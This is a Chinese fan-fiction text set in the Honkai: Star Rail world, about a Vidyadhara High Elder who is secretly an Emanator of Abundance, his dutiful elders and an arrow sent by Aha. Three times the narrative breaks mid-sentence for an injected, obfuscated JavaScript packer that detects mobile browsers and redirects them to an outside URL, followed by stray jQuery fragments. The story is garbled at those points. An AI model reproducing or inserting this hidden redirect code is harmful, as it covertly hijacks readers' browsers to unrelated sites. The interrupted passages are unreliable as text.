《[崩铁]我才不会和妖弓猎犬有感情线》
1. 方壶
继持明族与仙舟联盟共治盟约签署以来,仙舟方壶一直为持明自治。由持明龙尊统驭万民,六司六御皆为辅佐龙尊。
换句话说,方壶之上,持明龙尊=仙舟将军。
龙尊位同将军,议事理事理应在将军府,但数任龙尊皆选择在族内的议事殿中处理方壶诸事。原因无他,两地跑来跑去过于麻烦,且浪费时间。
云峥目光扫视一圈大殿之内,除了龙师间多了几张新面孔,殿内还是如往常般的肃穆。
看到云峥,等其安稳入座,几位龙师才纷纷扬扬地将几件大事拎出来细说。
“云峥大人,昨日罗浮来信,那一脉此代的饮月君已出世,我等是否应该备礼送去祝贺一番?”龙师今栀站起,恭敬问道。
听此言,云峥愣了愣,青眸微垂,心情不免沉重了些。
他不过是忙于方壶百年之久,对方却已转生。记忆仿若还停留在那日的把酒言欢,还真是.....
可悲啊......
“新一任的饮月君,”垂眸望着桌上文书,云峥顿了顿,“那他的名字是?”
今栀站起身,微俯身:“接任明曜龙尊的新任饮月君名为【丹枫】。”
他知晓云峥龙尊与上一任罗浮龙尊明曜的交情,自然能看出对方一如既往淡定漠然的神情下的伤感。
掩去眼底的几分孤寂与失落,云峥对其颔首,“那便由你去库中挑些礼物派人送去吧。”
虽并非那位旧友,但该有的礼节不可少。
当初他诞生时仙舟其他脉的持明都送过贺礼,这么久人情世故他也懂了些。
礼尚往来。
云峥望着他们,口中言道:“诸位可还有他事?”
“还有一事。玉阙传讯,希望方壶这边派出些许援手助他们追捕丰饶之祸使倏忽。”另一位龙师溪榷手拿文书递上。
接过文书的云峥看着内容,选择了沉默以对:“……”
你们是不是都忘了,我其实也是丰饶的令使?
当我面称呼倏忽那狗东西为祸使,多少不给我点面子啊。
当然这两句也就是想想,云峥不想再和这群龙师论自己的身份争执不休了。
他孤零零一个人,哪里争得过龙师们十几张嘴。
“既是追捕倏忽,支援便定玄霆卫。而这领军之人,尔等可有所荐?”
对于玉阙追杀倏忽,云峥举双手赞成。反正有丰饶仙主的赐福与力量在,非星神杀不死他。
“我觉得青玉不错。”有龙师出言道。
“青玉虽好,但不及乾羽。既是支援玉阙那必然需彰显我方壶将士之勇。”有人举荐,便有人反对,推举他人。
云峥不说话,就静静看着他们争论。
让他们吵着吧,过往的事实证明,他们怎么吵着吵着后面都能达成一致。
耳边自动过滤他们那犹如麻雀般叽叽喳喳的争吵声,云峥的目光落在文书上,开始放空大脑。
直到半响过后,争执不休的龙师们终于就何人领军援助这一事上统一了意见。
龙师们相互对视一眼,然后异口同声地朝上座的云峥高声道:“吾等皆认为由青玉率领玄霆卫支援玉阙最合适不过了!”
“确定?”唤回心神,云峥再次询问。
龙师们齐声点头:“确定!”
对于龙师们的最终选择,云峥没有异议,点头执笔开始撰写书令。
“那便命骁卫青玉领玄霆卫即刻前往玉阙仙舟,务必于五日内抵至战场助玉阙降伏倏忽。”
“我等领命!”
“此事既了,那诸位可还有其他事?”将写好的书令盖上章印后合起递给等候在旁的龙师溪榷手中,云峥再次向下方的众人询问。
“没有了。”龙师们摇头,近来的要事只这两件为之重大,所以才拿至殿堂上说。
“若无,尔等便回去吧。”既然没事,云峥便毫不客气地开始赶人了。
他看着他们就心烦。
让殿内的龙师们离开议事殿回去各司其职后,云峥方垂首,开始着手处理今日的公文。
方壶的各类事务皆经地衡司之手,从中挑拣出较重要的公务,交由龙尊处理。
兢兢业业千余年,云峥的效率已是飞快。仅耗时不过三四个时辰便将今日的公文审阅完毕。
放下文折,云峥揉了揉眉心,便有侍从为他呈上热茶。
啄饮一口清茶,云峥捧着茶盏,目光看似落在白水清冷的茶水里,实则并无实处。
他只是怔忪地散发心神,放空大脑和思维。
他在这方壶待了多久?
百年?亦或是千年?
有些记不清了。
于长生种而言,时间是最无用之物,无需予以心神去铭记。
而现在…
日复一日,年复一年按部就班的生活,此刻的随想竟让他生了些许枯燥与乏味。
“云峥大人。”
有人进了殿内。
分神侧目往去,只见一持明族人怀中抱着一被包裹得严严实实的东西朝他行礼。
“你怀中所抱为何物?”云峥放下手中茶盏,目光落在那包裹之物上。
鲜少有东西会送至他面前,基本为他人钦点要求,或是有重大意义之物,再或者为他所需之物。
那人擦擦头上的虚汗,毕恭毕敬地将怀中之物托举起,声音略微颤抖。
“云峥大人,此乃常乐天君亲自送来之物,那位要求只能由您查看,所以属下拿到后便送来议事殿。”
淮锦虽动作颤巍,但还是稳稳当当地将东西呈至云峥面前的桌案上。
云峥并未立刻查看此物,只是对着淮锦轻声安抚道:“无需担心,想必常乐天君并无他意,只是想借尔之手送礼罢了。”
突然被常乐天君找上门,云峥不难感知到对方心中的惶恐与不安。
怕对方因此从此心绪不宁,云峥又补充道:“汝先回吧。放心,有吾在。”
他不会放任阿哈折腾持明族人的。
“是,多谢云峥大人关心。”
云峥的话确实安抚住淮锦的紧张不安。
所以他感激地朝云峥鞠躬行礼,随后应云峥要求般快步离开回去休息。
淮锦离开后,云峥想了想,将殿内的侍从们一并遣出了大殿。
他琢磨不透那乐子神的心思,也不知祂此番又送来了何物,所以以防万一,还是由他一人承担风险吧。
拆开物品上五颜六色的包装纸,里面是一红木盒,打开后是一支断裂开的光矢。
瞳孔一缩,面色冷冽了几分。
这光矢,云峥很熟悉。
因为这与那时新生巡猎星神射向他的箭矢近乎一模一样。唯一区别便是这盒中箭矢一分为二,并非完整。
感受着光矢上浓郁的巡猎气息,云峥甚至还能从中感受到些许丰饶的气息。
这时,一张纸条从盒盖上掉落。
白纸黑字,清清楚楚地写着三行话。
“知道小云峥的生辰快到了,阿哈特意给小云峥送礼物喽~”
“这箭矢可是阿哈特意蹲药师旁拿走的~是人马送给药师的,但是归阿哈了~”
“阿哈希望小云峥喜欢这份礼物~”
末尾处还加了一张红色的嬉笑面具印记。
“……”
怪不得他能从光矢上感受到丰饶的气息,原来是因其沾染过药师的神血。
手指小心翼翼地触上这断裂之矢,那股萦绕在箭矢上的巡猎的仇恨也由之传递。
云峥眸中生哀。
无私、利他、治愈的丰饶何错之有呢?为何要如此仇恨呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761670|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他不懂。
他虽为丰饶之使,此刻却身居仙舟,了解仙舟联盟至今的历史。
史籍中不见那丰饶的功绩,唯有对丰饶之行的憎恶与批判。
可是…
最开始向丰饶仙主祈求长生的又何尝不是他们仙舟之人呢?
此等恩将仇报之事令他恼怒,却又无可奈何。
丰饶与巡猎,星神之渊源,非凡人所可论也。
只因那是命途之主、赐予凡人命途之力的星神,而他不过是区区持明,即便为不朽之后裔亦无资格无力干涉。
云峥将盒子盖上,随身收起。这种东西不可交予外人,亦不可为外人所知。
自他登上这龙尊之位,每逢生辰之日,那位欢愉星神都会为他送上一份礼物。
有时是几枚不知从何处捡的尚带些许尘埃的石子,有时是一顶用工用料皆为顶尖的精美发冠……
礼物的种类皆是不同,所以阿哈这次能送巡猎箭矢,也在云峥的意料之中。
如今阿哈的态度,他差不多明了。无非是将他这位丰饶令使在死敌仙舟上当龙尊的事当作乐子,暂时并不会对持明出手。
当然不排除对方会为了更大的乐子,直接将他的身份捅破给仙舟联盟。
所以还是不要对阿哈太过放松警惕为好。
只是应对阿哈无法预料的行为之法,还需要云峥多加思虑一番…
“吾出去看看,不必跟随。”
云峥走至殿门口,见侍卫们想要跟随,对他们摇头拒绝。
“可是…”
几位持明们面面相觑。
虽然说云峥大人时常会外出游逛,但基本都会带上他们。
怎么今日突然改变了想法?
“吾只想一人,寻处一地静静。”敛眸掩去无奈,云峥温声道。
“近来琐事颇多,难免有些心烦意燥。”
“待吾想罢,自会回来,不必多忧。”
持明们互看几眼,终究没再强求,躬身退下,由着云峥独自离开。
当然这只是明面无人跟随罢了,暗地里隐藏的护卫只多不少。
云峥何尝又不知,但这已是龙师们可以忍受的极限。
若是连这暗中保护的持明一同屏退,怕是还未走出这大殿,龙师们就已经赶来对他苦口婆心地劝解。
云峥还不想被说教得头疼。
离议事殿愈远些,云峥停下脚步,下一刻身影闪动消失不见。
/
方寸烟海
云峥的身影出现在这里。
这里海水底下是丰饶予以仙舟的神迹之一,现由方壶镇守。
亦是云峥闲暇时放松心神之地。
再多纷乱的思绪,当置身于此,感知到那自深处而来的隐隐丰饶气息后,琐屑的烦恼皆归于平静。
踏着浪花,轻步走入烟海之中,云峥双眸微阖呼吸浅缓,双腿盘起浮于海面。
海水深处被封印的活化行星的核心此刻正透过封印缓慢地向外渗出丝丝缕缕的丰饶之力。
然后进入云峥的体内,为其和缓滋养着原本干涸的力量。
巡猎的那一箭,不仅仅是迫使他蜕生,更是将他拥有的丰饶之力挤压得只剩丁点。
简而言之,就是装满的容器突然就被砸入一枚大石头,原本盛着的液体溢出,只余下一点点。
而当初的那支箭矢早已融入体内,现在他的体内,巡猎的力量比之丰饶还要多。
这也是为何他每次向龙师们坦白他是丰饶令使时,他们根本不相信的缘由之一。
毕竟谁家丰饶令使拥有这么强大的巡猎力量。
云峥也一直未弄清为何巡猎箭矢会与自身融合,只能将其暂时归咎于当初丰饶仙主的及时赐福,使原本相冲突的两股力量融洽。
……
2. 糟糕
或许是丰饶之力涌入身体带来的那丝丝缕缕温暖之意,勾起了云峥心底对远在星海彼岸的丰饶仙主的念想。
他默念着祂的神名,祈祷着自己未来能以令使之名再度伴于其身。
只可惜…如今身在方壶的他还不能离去。
他现是方壶持明的龙尊,若无下一任龙尊传承者接任,断不能一意孤行丢下一族乃至整座仙舟于不顾。
虽对仙舟尚有怨恨,但人各有志,信仰巡猎是他们的选择他人无权干涉。
掌心贴在胸口处,感受着除丰饶之力外的另一股磅礴力量,云峥眉眼间再次漫上愁苦。
待方壶事了离去,倘若到时候他带着这一身的巡猎气息去觐见,吾主真的不会生气吗?
他慈爱的主若是因此伤心了怎么办?
毕竟巡猎一直叫嚣着寻祂复仇,而身为其麾下令使的自己此刻不仅浑身的巡猎之力,更是在敌方势力当高层。
想及至此,云峥忽然有种想以死谢罪的冲动。
然而丢下方壶不管不顾的强烈负罪感却迫使他将这般想法按捺下去。
他能以死鉴心,但不是现在。
总而言之,目前最好的办法就是等。
等到下一任龙尊出世,等对方成长到继承他的位置后,他就可以彻底脱离苦海,从此回归丰饶的怀抱!
自我安慰成功,云峥便准备离开这方寸烟海,转去别的地方看看。
不夜侯?还是宣明街?方壶的每处他基本都转过,一时间还真没什么好选择。
“…还是去看看持明卵吧。”
思来想去,云峥还是决定去看看方壶那些未诞生的持明卵。
罗浮那边的饮月君都诞生了,没道理他方壶的冱渊君还一直不出来吧,都千年了啊。
/
守卫在汤池外的持明侍卫已经习惯了自家龙尊每隔几天便会来探望同族情况的行为。
侍卫们自然且熟练地为其打开大门。
待他抬步踏入,厚重的门扉在其身后缓缓合上。
雾气氤氲的汤池中,一个个持明卵宛如珍珠般点缀其间。
视线轻轻扫过这里依旧沉睡着的持明卵,云峥小心地抬步跨过,至下一片区域。
持明卵之间的差异其实微乎其微,或许只是色彩与花纹的细微变化而已。然而在云峥的眼中,眼前的每一个卵皆非相似。
他能感知到这些卵中的气息各有不同。但却分辨不出究竟哪一枚是上一任冱渊君蜕生后的持明卵。
因为他没见过冱渊君。
望着这一大片一大片的持明卵,云峥沉默片刻后,然后对着这些持明卵轻声问道:“冱渊君汝何时诞生?”
“已过千年有余,汝这一觉睡得太久了。”
找不到冱渊的持明卵,云峥只能选择对着全部的持明卵说教了。
“吾可以替汝守这方壶千年,却不会长居于此。吾终会离开,汝当明晓。”
“若汝已苏醒,当宜其职,而非贪恋此地安乐,让他人代行龙尊之责。”
缈缈话音回荡,云峥也反应过来此举的不妥。
毕竟他这些话…好像就差指着冱渊的鼻子说对方不干人事,不尽其责了。
云峥耳尖渐渐微红,心中对于自己如此直白行径产生少许羞耻。
他抿了抿唇,声音细若蚊声地纠正道:“…吾并非指责,只是希望汝尽快尽职而已,暂无其他不善之意。”
羞愧的辩解后,近乎是落荒而逃般逃离了这处持明卵蕴养之地。
而在池底未被探测到的深处,一枚持明卵微不可查地抖了抖……
身后的门扉再次闭合,想及自己刚刚情绪化的举动,龙尊心中愧疚感又多了几分。
微微垂眸,或许是因为在这方壶呆得太久了,未免心生怠倦与浮躁。
他没想过自己竟也有如此失礼冒昧的时候。
…罢了
等冱渊君诞生后,他再亲自向其道歉吧。
届时若对方不肯原谅,云峥也没有丝毫异议。
如此想着,云峥觉得安心不少,时候也不早便抬步准备回寝处休憩会儿。
……
云峥的寝殿有一处竹林,是他吩咐人种下的。如今千年已过,曾经小小的一片也变得郁郁青青。
恰巧他刚迈入殿中,这淅淅沥沥的雨就落下。
雨打竹林,风过林间,竹叶飒响。
伴随微风低语,雨水自叶尖滴落,溅上在殿檐上,激起小小的水花,空中飞扬。
浅浅的睡意因着这场突如其来的细雨而散去。
漫步走至庭院中,云峥倚着玉栏,目光透过薄薄雨幕,静静凝视着这雨中竹林的清幽之景。
那双青色的竖瞳上,流转的细碎光芒似是寰宇星辰,眸底若深潭之水难起波澜。
那叶片上溅起的雨珠有些许扎入眼中,冰冰凉凉,却使眼中多了些氤氲。
恍惚中过去的记忆像打开了阀门如潮水般涌现,令云峥回想起往昔旧事。
名为“云峥”的持明本追随于丰饶,身无顾思无虑,却偶得欢愉星神告知丰饶信徒以“仙舟不尊长生主”的名义妄图覆灭仙舟。
战争无情,兵刃亦无情。
为止戈休战,持明令使亲自前往那艘名为“罗浮”的仙舟试图阻止战火点燃。
却不曾想直面了新生星神的一击。
那一击,他无从躲避。
那一箭划破长空,若流星般闪耀迷人,却带着星神无边的怒火,禁锢了他周身的空间。
时间的短暂停滞令其无法挣脱空间的束缚,只能注视着自己的身躯在神矢之下飞速消亡。
当意识即将归于虚无之时,慈爱悯人的丰饶为他再次垂目。
幸得丰饶爱怜,他活了下来,却也因此蜕生持明卵,遗落于这方壶仙舟之上。
而当他恢复意识破开卵壳时,目光所见的方壶持明一脉皆向他展露笑颜,为他的诞生而心生高兴。
因为——
他诞之时,头戴角冠,后有龙尾,皆为龙之本相。
他们尊他为“龙尊”。
此后岁月因这龙尊之谓称他困于方壶持明族内,不可离开,无法割舍。
无论他如何向那些龙师们解释身份,他们依旧坚持己见。
至今,已千百年。
“…竟是想起了这些。”指尖抹去脸上的水滴,云峥望着面前的竹林幽幽一叹。
当初他会直面星神一箭虽有欢愉故意为之意,但的确未曾后悔前往罗浮。
纷争不休,既然知晓便在自己所能之内尽绵薄之力。若能阻止亦是一番善举。
雨已停歇,搭在玉栏上的宽大的衣袖不知不觉间被雨水浸湿,沁得手臂冰凉。
“云峥大人,可要更衣用餐?”见云峥从思绪中回神,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761671|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身旁等候已久的侍女上前,轻声询问。
“嗯。”云峥颔首轻应。
返回至房中,侍女托着备好的干净衣物上前,开始为云峥置换衣物,
不仅仅是衣物,就连同今早的装扮也一并全部换成了与服饰相搭的新样式。
望着镜中绘着青烟色眼影的清俊面容,云峥眸色闪过一丝无奈之色,抿唇恢复往日肃容。
“云峥大人,好了。”收拾好一切,侍从退至一旁,低头不再直视着云峥。
“嗯。”云峥不轻不重地应了句,随即起身向外走,“午时了。”
侍女们恭敬地点头应是,随之跟在身后。
一路静默。
膳食早已呈至桌上,只等云峥享用。
持明族自不会亏待龙尊,能呈在云峥面前的菜肴若是放在外面可称得上一句仙肴灵馐。
用料和制作手段皆是极好的。无论是色、香、味、形,无一不精。
龙尊的衣食住行皆按照最精致最好最昂贵的来,要不是看过持明族的产业收入和库房,云峥都怀疑照这种花销会不会有一天流落街头乞讨。
金钱这方面不归云峥思考,持明有专门的龙师安排、处理和汇总。
反正持明家大业大,几千年的底蕴,外加和仙舟结盟后对方送的各种资源,流落街头什么的当个笑话来听就是了。
“简简单单”地用个午餐,云峥就匆匆忙忙回议事殿继续处理下午送来的公务。
别看他上午干得那么快,那是因为昨天夜晚他废寝忘食干到了凌晨。
若不是有龙师发现议事殿灯火通明,看到他还在埋头苦干,才喊人硬抢下文书,还将他强行送回去睡觉休息。
早上龙师们没有论他昨晚熬夜工作的事情批评他就挺好的。
说明他们已经习惯了,他再接再励争取一下通宵工作的可能性。
要不就今晚试试吧?
#试试就逝世#
他真的太无聊了,只能拿工作来消磨时间。
换句话而言,当打工人当习惯了。
左手边的文书以肉眼可见的速度减少,原本下笔飞速的龙尊在看完一份文书手骤然停手。
“……”龙尊默然。
哦,好的,那个通宵达旦地工作的念头可以从脑袋里划掉了。
不是龙师们不当众说,是他们直接上文书了。
将这份引古论今,旁征博引,以各种独到的词藻批判龙尊通宵工作行为的文书意思总结一下就是:
龙尊大人您就正常工作,按时休息吧。不要再逼着我们同之前一样专门开设一个职位用来监督您作息。
最后一句:「若龙尊大人同意此建议,此月底可允龙尊大人前往罗浮拜访一下饮月君。」
心虚不已的云峥提笔在文书上写了个“好”。
略过这一份,再看下一份。
意思还是与刚才一样,只不过是多了句。
「望龙尊大人今日勿与昨日同,事大不及身。」
云峥批注:“吾已知晓,槿希龙师不必担忧。”
再往下看的几份文书皆与前两份意思相差无几,都是希望龙尊能多爱惜身体,不要如此劳心于公务。
云峥粗略地数了数这些劝诫自己的文书,竟多达数十,甚至有龙师上了两份。
云峥:“……”
有点开心,又有点无奈怎么办?
3. 不能
对于龙师们的好意,云峥心里哭笑不得,终究还是选择了默默接受。
然而,当他刚走出议事殿,守卫在殿门处的侍卫们却如同一阵疾风般迅速将殿门紧闭。
听着那门锁发出的清脆锁扣声,云峥有些不淡定了。
那平静淡漠的面容上闪过一丝破碎的情绪,仿佛一层薄冰在阳光下悄然融化。
“…尔等这所谓何意?”
龙尊薄唇紧抿着,暗自磨着后槽牙,沉声问道。
他们这什么意思,难不成不相信他会安安分分地去休息吗?
“我等听从槿希龙师和今栀龙师的安排。还望云峥大人不要为难我等。”
面对龙尊那控诉的目光,侍卫们的眼神不由自主地偏移,心中暗自忐忑,不敢与之对视,只能沉声告知。
“应龙师要求,云峥大人需尽快回殿休息,莫要在此处逗留。”
云峥不免有些羞恼:“吾不过就是昨日多待了些时间,龙师他们怎可…”
话还没说完,迎着侍卫们不赞同的目光,龙尊就像被扼住脖颈突然噤了声。
侍卫们可是听说过眼前这位龙尊之前的壮举,什么因为工作不吃不喝三天三夜,或是在工作期间突然晕倒都是再寻常不过的事。
结果好不容易才把你沉迷工作从而废寝忘食的坏习惯改掉,你现在又来?
侍卫们:盯——
逃避眼神的人此刻成了龙尊本人。
“…是吾错了。”灼热的目光盯得云峥泄了气,只能垂首妥协。
“吾先去找龙师商议些事情。”
抗不住族人的火热视线,龙尊步伐凌乱地逃离此地,背影更像是落荒而逃。
确认已经远离议事殿,不会再被虎视眈眈盯着后,跑路的龙尊放松警惕,这才稍微放慢了脚步。
“…还是去和他们说一下吧。”
在回寝殿和找龙师间抉择一番,云峥选择去找龙师。
总不能真让他们每到夜晚就锁议事殿吧,这把他当什么人了。
他堂堂丰饶令使,现如今的持明龙尊,此等安排让他情以何堪。
……
不过前脚还在信誓旦旦要说服龙师们不要如此,后脚面对龙师们的苦口婆心,佯装冷面的龙尊瞬间败下阵来,毫无抵抗之力。
“吾知错,下次不会了。”
低眉顺眼的乖巧模样直叫两位龙师看得不忍,但终究忍住了心中的不忍和叹息。
和云峥共事多年,龙师今栀也对其性格脾性了如指掌,开口道:“云峥大人您可还记得您先前殿上晕厥之事,并非我等不愿,而是您总在忽视自己的身体。”
他的声音温柔,像春风拂面,带着几分劝导的意味。
重新回来的龙师槿希将热好的牛奶递上,语重心长道:“这工作也不急于一时,更何况还有我们这些个老家伙在,您就莫要再拿身体开玩笑了。”
“可吾…”面对龙师们的关心与劝诫,云峥欲言又止,原本想要反驳的话在唇边却被他咽下。
“云峥大人您贵为龙尊,亦是持明族一族之长,理应更多在意些自己和身体,不要让我等担心。”
看着云峥纠结的神情,今栀伸手轻轻拍拍其的发顶,“我等皆知云峥大人您的好意,可持明族并非您一人在,我等亦有力所能及之处。您就放心照顾好自己便是。”
自家龙尊实在太乖巧了,今栀感觉上重话都是对其的不尊敬。
自家龙尊哪样不是听话且优秀的,唯一的缺点就是太沉迷于工作了。不管怎么劝诫,还是不愿意放下手头繁琐的公文出去转转。时常出门的绝大多数原因也是工作需要。
完全就是跟隔壁罗浮的龙尊两种极端。
隔壁的饮月君简直就是极端的不爱工作,天天恨不得将所有工作丢给他人,自己外出寻自由去浪。
想着,今栀突然忆起这上一任明曜龙尊与自家龙尊还是好友。可自家的龙尊为何就不能学学对方,放下手头的工作,享受生活的乐趣?
他们是真怕哪天听到龙尊因为工作猝死的噩耗。
今栀:真的不希望自家龙尊因为工作过度而倒下。
“好,听你们的。”
良久,直到捧着的杯中的牛奶所剩无几,云峥抬起头,眼中闪着些许微光,像是终于放弃的妥协。
“今后都不会了。”
坚定的话音刚落下,两位龙师顿时喜笑颜开,顶着如花般的笑脸连连应道:
“好好好,我等就知道云峥大人断不会让我等失望的。”
这高兴的样子让刚承诺的龙尊为之一愣。
云峥微微皱眉,心中闪过一丝疑惑。他抿了抿嘴,低头再次看向手中的空杯。
他怎么突然有种这俩龙师是故意诓骗自己的感觉?
他不会真的掉这两家伙陷阱了吧?
有点委屈,还想骂人。
他是挺好说话的,但这样玩他,你们是怎么好意思的?
就在云峥情绪浮动之际,今栀与槿希两位龙师也意识到自己笑得好像有些过分,差点暴露心思。他们迅速收敛笑容,努力保持刚才的镇定与淡然。
今栀手握成拳,抵在唇前轻咳两声:“既然云峥大人有此觉悟,老夫与槿希就不多留您了。时候也不早了,云峥大人快快回去休息吧。”
云峥:“……”
你们两个真把我当傻子呢?
目光中流露出的幽怨与控诉,似乎在无声地质问他们为何如此狡诈,连他都骗。。
槿希连忙讨好一笑,用提议缓解尴尬:“云峥大人要不留下来一同吃个宵夜再回?”
“…不必了,吾回去吃。”云峥面无表情。
刚让他走,现在又找借口让他留。呵,他是什么很贱的持明吗?他才不要听你们的。
但是走之前,云峥还是叮嘱一句。
“记得让他们别锁议事殿了。”语气虽然淡然,却隐隐透出几分无奈。
好歹也给他留点脸面吧。
望着云峥渐行渐远的身影,两位龙师对视了一眼,不由自主地相互露出一抹欣慰的笑容。
槿希轻笑,语气中透着一丝调侃,“你这老办法还真是一如既往得实用啊。”
“那可不,”今栀的脸上浮现出一丝自豪,声音中却夹杂着些许感慨,“不过云峥大人的性格,都千年了一点也没变过。还是这个样,哈哈哈。”
即便年龄已大,他的笑声依旧如同洪钟一般,铿锵有力。
“小心被云峥大人听到,到时候可有你这老东西头疼的喽~”槿希笑着拍了拍今栀的肩膀,那轻松的举动透着无限的亲密与默契。
“我是老东西,你也是老东西,谁也别说谁。”今栀反唇相讥。
他们二人都是陪伴了云峥快千年的存在,如今也快步入蜕生。
只是碍于接班人尚有诸多未曾掌握的技巧,他们这两位龙师便继续留在这位上,守护着持明族。
“喝一杯?”槿希微微一笑,目光闪烁着期待的光芒。
“喝!”今栀颇为干脆与洒脱。
即使经历了岁月的洗礼,两位龙师依旧默契十足。
尤其是在坑了自家龙尊后庆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761672|145567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝一番上。
……
而另一边回到寝殿的云峥已经在反思自己为何又如此轻易地被两位龙师带进坑了。
好像每次这两人联手,他就准掉坑。
怎么就如此不能坚持立场呢?
“唉。”
云峥轻叹一口气,算了,他们都是好意,都是关心自己才这么做的。
这么一想,也就没什么好气的了。
指尖撩过耳侧的发丝,望着镜中的自己唇角微微扬起,眉目含笑。
他其实挺高兴的,不是吗?
从当上龙尊后,陪同他一同成长的龙师很多很多,只不过有大部分已经蜕生去了。
留下来的旧人所剩无几。
槿希和今栀便就是其一。
而他们与他之间,亦是君臣亦是友人。
在经历蜕生之前,他们是龙尊云峥过去的留存与记录。
或许等到这些故友全部蜕生,冱渊诞生继位,属于龙尊云峥的故事也将迎来结束。
曾经的人与物一点一点成为过去的存在。
存于史书上的记载中。
云峥伸出手轻轻覆上脸颊,眸间似是含笑却又透着几分怅然所失。
他知道这一切都是既定的未来,而他无力改变。
或许等到那天的到来,到那时候他依旧在方壶之上吧,他会笑着目送故友蜕生。
然后等待着新的龙尊接手持明,接手方壶,重归于丰饶,重复龙尊前的生活。
相交的线条终究会回归于平行,而不可再触。
只不过,不是现在罢了。
云峥垂下眼睛,指尖微动,青色光芒自指尖一闪而过。
上午被云峥收起的盒子,那份阿哈所送的礼物便悄然落在了桌上。
既然有离开之想,那不妨将这断裂的箭矢尝试修复,留在这方壶当作一份保障。
至少是星神的箭矢,威力自然不容小觑。
云峥微垂着眼睫,轻阖眸,思绪纷飞间打开盒盖,修长手指轻轻抚上那箭矢的断裂之处。
在烛火的映衬下,他的面容笼罩一层淡淡的暗红,青色深邃的眼眸似蒙上了一层神秘的光晕。
手指微动,那依附在断裂处的丰饶之力在他的牵引下一点点剥离出来,融入己身。
同时体内的巡猎之力被引导着包裹在断裂的箭矢身上,控制它们一点点拼凑、衔接在一起。
他体内的力量便来自于巡猎星神的一箭,同源的力量或许可以将这箭矢修复。
随着断裂的箭矢重新接合,上面残存巡猎的力量竟慢慢流转起来。
一丝肉眼可见的透明涟漪泛起,随即那箭矢竟在这般循环流转中一点点变长,最后彻底恢复如初。
流光溢彩,光辉重现。
只不过在原先的断裂处多了两条如同藤蔓一样交错纠缠在一起的金色线条,相互牵制又彼此融合。
“…这是…?”什么情况?
这宛若生长在箭矢上的金丝让云峥眉头轻皱。
不似丰饶,不似巡猎,却又仿佛两者一体。但细细感应一下,这金丝的产生又与丰饶与巡猎渊源甚深。
就像是——
“力量融合的产物吗…?”
云峥无法理解为何会有这种变化,但总归是修复完毕,能用就是了。
将箭矢收起,也适时休息了。修复箭矢用了太多的力量和精神力,现在放松下来,疲倦感便涌了上来。
沐浴后更换上柔软舒适的睡衣,躺在床上云峥阖眼,拥入梦境的怀抱。
……
4. 不信
翌日
阳光慵懒地洒满整个庭院。
庭院内的花木草石正借着光线进行光合作用,汲取养分,茁壮成长。
庭院的一隅,一道略显单薄的修长身影正在庭院打理着花木。
今日休沐,被龙师们排挤出议事殿,遣送回寝殿的云峥此刻正蹲在一株已经衰败的花旁,反省自己。
他记得这花是一位族人前些天送来的,怎么养着养着就没了?
捏着枯黄、带着些虫洞的叶子,云峥有些愁苦。他本想着将这花细心养着,结果现在这花被养死了。
若是被族人看到,怕是会伤心,然后认为自己不喜欢他,所以连他送的花也不愿意养着。
“该怎么办…”
不知所措的龙尊不知道该如何让枯萎的花死而复生,所以他只能蹲在花面前抓耳捞腮。
直到有侍从端着新鲜的水果送来,看到此等情景不由得惊呼:“云峥大人!您在做什么!”
樊锦连忙放下手中那只精致的果盘,脚步匆忙,三步并作两步,急匆匆地小跑向云峥,像一阵风般扑到他面前,迅速将他手中的花坛夺了过来。
“云峥大人,此等小事怎能容您动手呢!”樊锦的声音中透着焦虑。
让尊贵的龙尊接触这等小事,他怕不是活腻了。
“若您需要任何帮助,尽可唤我等侍从,何必劳您亲自为之?”
云峥微微低下头,面容透出一丝委屈,轻声道:“…花死了…”
“吾不明白。”
他明明有好好照料的。
望着自家龙尊流露出的失落,樊锦心中一紧,仿佛被无形的压力所压迫,她急忙安抚道:“云峥大人,您无需自责。或许是这花种不适应这里的环境,换成别的品种养护便是。”
“我这就去为云峥大人挑选新的花种,保证能让其茁壮成长。”樊锦目光坚定,挺着胸膛,满怀信心地说道。
云峥沉默片刻,心中有些犹豫,却还是轻声补充道:“…这是别人送的…”
“啊这…”樊锦听到这句话,顿时感到一阵慌乱,似乎失去了继续安慰的方向。
思索片刻,她将花盆轻轻放在一旁,认真对云峥说道:“云峥大人,不如您先稍作歇息吧。
“既然此花对您意义非凡,那我现在便去请手艺精湛的花匠,看看有无补救的机会,可好?”
“……”云峥心中微微犹豫,最终还是点了点头,声音低沉带着些迟疑,“…好,那便交给你了。”
说罢,便转身欲走。
但仿佛是想起了什么,他忽然微微顿住脚步,高挑的身影霎时就在不远处沉默的伫立下来。
若是有人能瞧见。
